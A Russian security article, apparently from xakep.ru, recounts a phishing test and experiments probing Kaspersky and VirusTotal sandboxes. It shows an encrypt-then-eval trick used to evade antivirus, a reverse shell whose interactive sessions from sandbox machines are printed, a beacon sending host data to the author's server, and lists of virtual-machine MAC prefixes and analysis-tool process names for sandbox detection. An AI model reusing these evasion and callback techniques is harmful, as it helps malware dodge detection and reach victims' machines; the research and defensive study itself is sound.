Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124

Как устроены антивирусные песочницы, известно лишь понаслышке: вендоры надежно хранят свои секреты. Что мы увидим, если попытаемся заглянуть к ним под капот? В этой статье — результаты эксперимента по исследованию сред анализа вредоносного ПО, включая VirusTotal. Мы написали скрипт для обхода песочниц и получили reverse shell: теперь мы точно знаем, что там внутри.
Однажды мы решили провести тестовую фишинговую атаку в нашей организации, чтобы поднять уровень осведомленности сотрудников. В роли настоящего «хакера» я решил построить всю инфраструктуру сам. Зарегал поддельный домен, поднял свой почтовый сервер, сервер для приема отстука. И тут пришло время писать клиентскую часть, а именно ту полезную нагрузку, которая будет отправляться пользователю.
Для получения исполняемого файла я использовал связку Python + PyInstaller. Идея состояла в том, чтобы собрать минимум информации о хосте и понять, кому из сотрудников он принадлежит. Основной информацией стал IP-адрес машины в локальной сети предприятия, поскольку он никогда не меняется и по нему можно выяснить, кто же все‑таки запустил «вредонос».
warning
Статья написана в исследовательских целях, имеет ознакомительный характер и предназначена для специалистов по безопасности. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Использование или распространение ПО без лицензии производителя может преследоваться по закону.
Пример информации, которая поступала на мой сервер, если кто‑то запускал исполняемый файл:
Hostname: <hostname>Version: <version_os>Release: <number_release>Architecture: <architecture>Type machine: <type>Network name: <network_name>User: <run_user>OS type: <windows/linux>Local_ip: <local_ip>
На машинах организации, которую мы тестировали, стоит антивирусное решение от компании Kaspersky — Kaspersky Endpoint Security. Для его обхода я использовал возможность Python выполнять код, который передается в виде строки. Приведу пример.
Вот исходный код на Python для получения OS type:
os_type = platform.system()
А так выглядит обфусцированный код:
command_crypt = b'kxb0x0fp4x03xe9Dxe0x01xd5Z}xc1x85xa42xc56x9fxc0x81xaftxe5x08k!x81xd5xccxf0'command_decrypt = func_decrypt(command_crypt, key_decrypt)os_type = eval(command_decrypt)
Реализация несложная. Сначала мы шифруем все строки кода с использованием функции шифрования, затем используем их в итоговом файле, из которого будет получен исполняемый файл. В нем содержится код с такой структурой:
Полученный исполняемый файл я поместил на сервер. В зависимости от переданного в запросе User-Agent скрипт передавался под нужную ОС. Когда пользователь переходил по фишинговой ссылке, ему отправлялся архив, замаскированный под файл .xls, после чего выполнялся редирект на реальный сайт компании, чтобы было менее подозрительно.
Так вот, еще до того, как я выгрузил файл на сервер, я уже начал получать отстуки от непонятных для меня хостов. Вот пример одного из таких:
Hostname: DESKTOP-HESL6H8
Version: 10.0.18362
Release: 10
Architecture: (’64bit’, ‘WindowsPE’)
Type machine: AMD64
Network name: DESKTOP-HESL6H8
User: G58gQ
OS type: Windows
Local_ip: 10.16.202.175
Сразу бросается в глаза странное имя пользователя, как будто бы сгенерированное. Единственная «утечка» могла произойти с машины, на которой я тестировал обход антивируса Kaspersky. Тогда я не стал обращать внимания на это, поскольку антивирус все равно не ругался на мой файл. И я благополучно забил на этот факт до недавнего времени, пока не заинтересовался обходом песочниц.
Предположительно тогда я получал отстуки из песочниц Kaspersky, которые анализировали файл с неизвестной сигнатурой. Поэтому я решил: раз приходят запросы, значит, у песочниц есть доступ в интернет и он не блокируется. Если усовершенствовать скрипт с reverse shell, чтобы не ловиться просто по сигнатуре, можно попробовать полазить по такой песочнице. Основу для реализации этой идеи я взял с сайта revshells.com.
Для экспериментов использовалась машина с белым IP. Я скомпилировал файл, и антивирус после пары подключений его нейтрализовал. А я стал ждать. И… ничего, я так и не получил коннекта.
Но при загрузке программы на VirusTotal виртуальные среды все‑таки позволяют взаимодействовать с хостом после подключения:
root@hostname:~# nc -lvnp 8080
Listening on 0.0.0.0 8080
Connection received on 34.86.36.138 49171
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:UsersazureDownloads>
PS C:UsersazureDownloads> dir
dir
PS C:UsersazureDownloads> cd ..
cd ..
PS C:Usersazure> dir
dir
Directory: C:Usersazure
Mode LastWriteTime Length Name
d—— 3/31/2022 5:04 AM .idlerc
d—— 1/6/2023 10:44 AM .ms-ad
d-r— 3/25/2022 4:09 PM Contacts
d-r— 3/25/2022 6:25 PM Desktop
d-r— 3/25/2022 4:09 PM Documents
d-r— 5/5/2025 8:45 AM Downloads
d-r— 3/25/2022 4:09 PM Favorites
d-r— 3/25/2022 4:09 PM Links
d-r— 3/25/2022 4:09 PM Music
d-r— 3/25/2022 4:09 PM Pictures
d-r— 3/25/2022 4:09 PM Saved Games
d-r— 3/25/2022 4:09 PM Searches
d-r— 3/25/2022 4:09 PM Videos
PS C:Usersazure> Get-Process
Get-Process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName------- ------ ----- ----- ------ -- -- -----------
115 9 15448 15812 0.64 932 0 audiodg
31 5 1080 3348 0.02 2168 1 conhost
35 5 1140 3748 0.02 2444 1 conhost
31 5 1080 3344 0.00 2460 1 conhost
31 5 1076 3348 0.03 2560 1 conhost
31 5 1076 3344 0.02 2648 1 conhost
31 5 1076 3344 0.00 2668 1 conhost
31 5 1080 3312 0.02 2788 1 conhost
31 5 1080 3316 0.00 2812 1 conhost
434 11 1840 4080 0.86 328 0 csrss
325 15 2876 5900 1.19 384 1 csrss
…
79 7 1416 5280 0.06 2056 0 unsecapp
81 10 1460 4728 0.64 376 0 wininit
112 9 2692 7520 1.77 424 1 winlogon
182 11 3532 9852 0.13 584 0 WmiPrvSE
124 9 2280 6820 0.05 1836 0 WmiPrvSE
133 9 2464 7236 0.14 2744 0 WmiPrvSE
439 32 9896 27188 0.83 2484 0 wmpnetwk
PS C:Usersazure> exit
root@hostname:~# nc -lvnp 8080
Listening on 0.0.0.0 8080
Connection received on 34.45.100.89 49681
ls
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:UsersBrunoDesktop> ls
Directory: C:UsersBrunoDesktop
Mode LastWriteTime Length Name---- ------------- ------ ----d----- 3/5/2025 2:59 PM EEGWXUHVUGd----- 3/5/2025 2:59 PM EFOYFBOLXAd----- 3/5/2025 2:59 PM EOWRVPQCCSd----- 3/5/2025 2:59 PM EWZCVGNOWT
`…
-a---- 3/5/2025 2:59 PM 1026 PWCCAWLGRE.pdf-a---- 3/5/2025 2:59 PM 1026 QCFWYSKMHA.jpg-a---- 5/6/2025 12:56 AM 49495 reverse.exe-a---- 3/5/2025 2:59 PM 1026 SFPUSAFIOL.xlsx-a---- 3/5/2025 2:59 PM 1026 SUAVTZKNFL.png
PS C:UsersBrunoDesktop> exit
В итоге я решил использовать тактику, как при проведении фишинговой атаки, а именно — использовать скрипт для сбора информации о системе и отправки данных на сервер.
Понятно, что тех данных, которые я собирал в изначальном скрипте, явно маловато, поэтому я усовершенствовал программу, и теперь она собирает следующие параметры:
OS type: Version: Release: Architecture: Type machine: Network name: User: Hostname: Local ip: System Date: System boot time: Uptime: System hardware: System File: Directory: C:/Windows: Directory: C:/Program Files: Directory: C:/Program Files (x86): Directory: C:/ProgramData: Directory: C:/Windows/System32: Directory: C:/Windows/SysWOW64: Directory: C:/Windows/Temp: Directory: C:/Users: User File: User directory: Directory: Downloads: Directory: Desktop: Directory: Pictures: Directory: Videos: Directory: Music: Directory: AppDataLocalTemp: Process Data:
Также я собирал информацию о системе c помощью команд PowerShell, используя модуль subprocess:
systeminfoipconfig /allnet userGet-WmiObject Win32_ComputerSystemGet-ServiceGet-WmiObject Win32_VideoControllerGet-CimInstance Win32_LogicalDisk -Filter "DriveType=3" | Select-Object `DeviceID, @{Name="Size(GB)";Expression={"{0:N2}" -f ($_.Size / 1GB)}}, @{Name="Free(GB)";Expression={"{0:N2}" -f ($_.FreeSpace / 1GB)}},@{Name="Used(GB)";Expression={"{0:N2}" -f (($_.Size - $_.FreeSpace) / 1GB)}} www
Пока скрипты крутились в дробилках песочниц, я поискал в интернете информацию об обходе этих самых песочниц. В итоге мне понравились эти статьи:
Детектим виртуалки
Детект песочницы. Учимся определять, работает ли приложение в sandbox-изоляции
Как песок сквозь пальцы: могут ли вредоносы обойти Sandbox и как они это делают
Многие идеи я буду брать из этих статей, так что мой код по большей части не уникален.
Ниже приведена таблица с данными, по которой мы будем в первую очередь определять среду.
| Environment | Hostname | OS Version | CPU count | Total memory | Uptime (day hh.mm.ss) | Process count |
|---|---|---|---|---|---|---|
| Real PC | 10 | 4 | 32 | 1 day 02:16:12 | 192 | |
| Real PC | 10 | 6 | 16 | 13:51:48 | 275 | |
| VirTotal | WIN-5E07COS9ALR | 10 | 1 | 1 | 0:01:04 | 56 |
| VirTotal | WIN-QIUREVVK5FL | 7 | 1 | 8 | 0:01:41 | 60 |
| VirTotal | 715575 | 10 | 4 | 8 | 2:06:38 | 189 |
| VirTotal | 061544 | 10 | 2 | 8 | 2:03:42 | 161 |
| VirTotal | 424505 | 10 | 4 | 8 | 1:46:43 | 167 |
| VirTotal | azure-PC | 7 | 2 | 2 | 0:03:57 | 58 |
| VirTotal | azure-PC | 7 | 2 | 2 | 0:04:11 | 55 |
| VirTotal | WALKER-PC | 7 | 2 | 1.5 | 0:01:25 | 54 |
| VirTotal | 00900BC83803 | 10 | 2 | 2 | 0:50:12 | 52 |
| VirTotal | COMPUTER-9GV0UZ | 10 | 2 | 4 | 0:08:47 | 103 |
| VirTotal | MZLTRR848050884 | 10 | 1 | 2 | 2:41:42 | 51 |
Бросается в глаза, что у некоторых хостов явно проблемы с CPU и MEM. Также мы видим, что некоторые машины крайне недолго находятся в Uptime, а у других слишком мало запущенных процессов. Все это косвенно может свидетельствовать о виртуализации. Данных от песочниц Kaspersky я не получил: антивирус ни в какую не хотел считать мой файл зловредным.
В итоге я решил проверить свою программу с помощью динамического анализа на их сайте opentip.kaspersky.com. И как оказалось, исполняемый файл, полученный с использованием связки Python 3.12 + PyInstaller, просто не может запуститься в их песочнице.

И даже с учетом того, что файл содержит reverse shell, анализ показывает, что файл безопасен.

В общем, я вернулся на Python 3.7 и попробовал писать код на нем. Теперь программа анализировалась нормально. Вот данные, которые я получил.
| Environment | Hostname | OS Version | CPU count | Total memory | Uptime (day hh.mm.ss) | Process count |
|---|---|---|---|---|---|---|
| Real PC | 10 | 4 | 32 | 1 day 02:16:12 | 192 | |
| Real PC | 10 | 6 | 16 | 13:51:48 | 275 | |
| Kas | ELZ-8K4JW2UL3QY | 10 | 2 | 4 | 0:08:16 | 100 |
| Kas | art-PC | 7 | 2 | 1 | 0:04:15 | 44 |
Но получить с хостов данные, похожие на те, что приходили при проведении тестовой фишинговой атаки, мне не удалось. И только когда я оставил одни команды PowerShell, мне наконец прилетели отстукивания, которые были схожи, по крайней мере hostname и username напоминали те, что я увидел в первый раз. К сожалению, команда Get-Process почему‑то не отработала, и информации о количестве запущенных процессов мне получить не удалось.
| Host | Hostname | OS Version | CPU count | Total memory | Uptime (day hh.mm.ss) | Process count |
|---|---|---|---|---|---|---|
| Real PC | 4 | 32 | 1 day 02:16:12 | 192 | ||
| Real PC | 6 | 16 | 13:51:48 | 275 | ||
| Kas | DESKTOP-09L7V90 | 10 | 1 | 2 | 1:35:42 | ? |
| Kas | DESKTOP-NL2CM8W | 10 | 1 | 2 | 2:38:52 | ? |
| Kas | DESKTOP-WSP0LAK | 10 | 1 | 2 | 3:44:45 | ? |
Как видно, эти хосты тоже страдают от нехватки CPU и MEM.
Теперь копаем глубже: нам нужны MAC-адреса. По ним также можно понять, что программа запущена в виртуальной среде. На этом ловятся хосты WIN-*. Вот MAC-адреса, которые будем искать:
{{0x00, 0x50, 0x56}, "VMware ESX 3, Server, Workstation, Player"},{{0x00, 0x0C, 0x29}, "VMware ESX 3, Server, Workstation, Player"},{{0x00, 0x05, 0x69}, "VMware ESX 3, Server, Workstation, Player"},{{0x00, 0x1с, 0x14}, "VMware ESX 3, Server, Workstation, Player"},{{0x00, 0x03, 0xff}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x0d, 0x3a}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x50, 0xf2}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x7c, 0x1e, 0x52}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x12, 0x5a}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x15, 0x5d}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x17, 0xfa}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x28, 0x18, 0x78}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x7c, 0xed, 0x8d}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x1d, 0xd8}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x22, 0x48}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x25, 0xae}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x60, 0x45, 0xbd}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0xdc, 0xb4, 0xc4}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x1c, 0x42}, "Parallels Desktop, Workstation, Server, Virtuozzo"},{{0x00, 0x0f, 0x4b}, "Virtual Iron 4"},{{0x00, 0x16, 0x3e}, "Red Hat Xen | Oracle VM | XenSource | Novell Xen"},{{0x08, 0x00, 0x27}, "Sun xVM VirtualBox"},
А вот процессы, по которым можно понять, что скрипт запущен в виртуальной среде или анализируется в дебаггере:
// Иконка VirtualBox в трее гостевой ОСTEXT("VBoxTray.exe"),// Служба VirtualBox Guest AdditionsTEXT("VBoxService.exe"),TEXT("vboxservice.exe"),// Драйвер VirtualBox GuestTEXT("vboxguest.sys"),// VMware ToolsTEXT("vmtoolsd.exe"),TEXT("vmwaretray.exe"),TEXT("vmwareuser.exe"),TEXT("vmsrvc.exe"),TEXT("vmhgfs.sys"),TEXT("vmware-vmx.exe"),TEXT("vmware-authd.exe"),// Hyper-VTEXT("vmicvss.exe"),// TEXT("vmms.exe"), // Был обнаружен в реальной машине, закомментированоTEXT("vmmem.exe"),TEXT("vmwp.exe"),// QEMUTEXT("qemu-system-x86_64.exe"),TEXT("qemu-vm-guest.exe"),// ParallelsTEXT("prl_vm_app.exe"),TEXT("prl_tools.exe"),TEXT("prl_cc.exe"),TEXT("SharedIntApp.exe"),// Драйвер мыши виртуальной машиныTEXT("vmmouse.sys"),// Xen Virtualization environmentTEXT("xenservice.exe"),// Windows SandboxTEXT("WindowsSandbox.exe"),// SandboxieTEXT("SandboxieRpcSs.exe"),TEXT("SandboxieDcomLaunch.exe"),TEXT("SbieSvc.exe"),TEXT("SbieCtrl.exe"),// Comodo SandboxTEXT("SxIn.exe"),// Process Monitor — анализ поведенияTEXT("procmon.exe"),// Обнаружен в процессах одной из песочниц VirusTotalTEXT("VmRemoteGuest.exe"),// Windows Debugging ToolsTEXT("ntsd.exe"),TEXT("windbg.exe"),// IDA ProTEXT("idaq.exe"),TEXT("idag.exe"),// x64dbg/x32dbgTEXT("x64dbg.exe"),TEXT("x32dbg.exe"),
И тут меня заинтересовал вывод команды
Get-WmiObject Win32_VideoController
А именно вот такие строки:
Name Description PNPDeviceID
Собираю информацию с хостов:
Real PC: Description : AMD Radeon(TM) Vega 10 Graphics PNPDeviceID : PCIVEN_1002&DEV_15DD&SUBSYS_512217AA&REV_D04&35FEB52A&0&0041 Description : Intel(R) UHD Graphics 730 PNPDeviceID : PCIVEN_8086&DEV_4692&SUBSYS_D0001458&REV_0C3&11583659&0&10 Kaspersky: С сайта анализатора: Hostname: ELZ-8K4JW2UL3QY OS: Windows 10 Name : Microsoft Basic Display Adapter Description : Microsoft Basic Display Adapter PNPDeviceID : PCIVEN_1AE0&DEV_A001&SUBSYS_00011AE0&REV_013&13C0B0C5&0&18 Hostname: art-PC OS: Windows 7 Name : Standard VGA Graphics Adapter Description : Standard VGA Graphics Adapter PNPDeviceID : PCIVEN_1234&DEV_1111&SUBSYS_11001AF4&REV_023&1 Файлы, аналогичные файлам при проведении тестового фишинга: Hostname: DESKTOP-09L7V90 OS: Windows 10 Name : Microsoft Basic Display Adapter Description : Microsoft Basic Display Adapter PNPDeviceID : PCIVEN_1234&DEV_1111&SUBSYS_11001AF4&REV_003&13C0B0C5&0&10 Hostname: DESKTOP-NL2CM8W OS: Windows 10 Name : Microsoft Basic Display Adapter Description : Microsoft Basic Display Adapter PNPDeviceID : PCIVEN_1234&DEV_1111&SUBSYS_11001AF4&REV_003&13C0B0C5&0&10 Hostname: DESKTOP-WSP0LAK OS: Windows 10 Name : Microsoft Basic Display Adapter Description : Microsoft Basic Display Adapter PNPDeviceID : PCIVEN_1234&DEV_1111&SUBSYS_11001AF4&REV_003&13C0B0C5&0&10 VirusTotal: Hostname: WIN-5E07COS9ALR OS: Windows 10 Name : Microsoft Hyper-V Video Description : Microsoft Hyper-V Video PNPDeviceID : VMBUS{DA0A7802-E377-4AAC-8E77-0558EB1073F8}{5620E0C7-8062-4DCE-AEB7-520C7EF76171} Hostname: WIN-QIUREVVK5FL OS: Windows 7 Name : Microsoft Hyper-V Video Caption : Microsoft Hyper-V Video PNPDeviceID : VMBUS{DA0A7802-E377-4AAC-8E77-0558EB1073F8}{5620E0C7-8062-4DCE-AEB7-520C7EF76171} Hostname: 715575 OS: Windows 10 Name : AD59MKMM Description : CMPMV5 PNPDeviceID : PCIVEN_15AD&DEV_0405&SUBSYS_040515AD&REV_003&61AAA01&0&78 Hostname: 061544 OS: Windows 10 Данные отсутствуют (команда не выполнилась) Hostname: 424505 OS: Windows 10 Name : X9387726 Description : AE27H7US NPDeviceID : PCIVEN_15AD&DEV_0405&SUBSYS_040515AD&REV_003&61AAA01&0&78 Hostname: azure-PC OS: Windows 7 Name : Standard VGA Graphics Adapter Description : Standard VGA Graphics Adapter PNPDeviceID : PCIVEN_1B36&DEV_0100&SUBSYS_11001AF4&REV_053&2 Hostname: azure-PC OS: Windows 7 Name : Standard VGA Graphics Adapter Description : Standard VGA Graphics Adapter PNPDeviceID : PCIVEN_1B36&DEV_0100&SUBSYS_11001AF4&REV_053&2 Hostname: 00900BC83803 OS: Windows 10 Name : Intel(R) UHD Graphics 630 Description : Microsoft Basic Display Adapter PNPDeviceID : PCIVEN_1234&DEV_5678&SUBSYS_9101112&REV_013&ABCDE&0&11 Hostname: COMPUTER-9GV0UZ OS: Windows 10 Name : Microsoft Basic Display Adapter Description : Microsoft Basic Display Adapter PNPDeviceID : PCIVEN_1AE0&DEV_A001&SUBSYS_00011AE0&REV_013&13C0B0C5&0&18 Hostname: MZLTRR848050884 OS: Windows 10 Name : Microsoft Basic Display Adapter Description : Microsoft Basic Display Adapter PNPDeviceID : PCIVEN_8086&DEV_0412&SUBSYS_2AF7103C&REV_063&21436425&0&10
Как видно, есть повторяющиеся значения, а также имена и описания, похожие на дефолтные или сгенерированные. Дополнительно к выводу о том, что при проведении тестирования по фишингу мне прилетали отстуки от Kaspersky, говорят одинаковые VEN и DEV, полученные с сайта анализатора и откуда‑то еще (откуда прилетают странные отстукивания со странных хостов, я так и не понял).
Источник: xakep.ru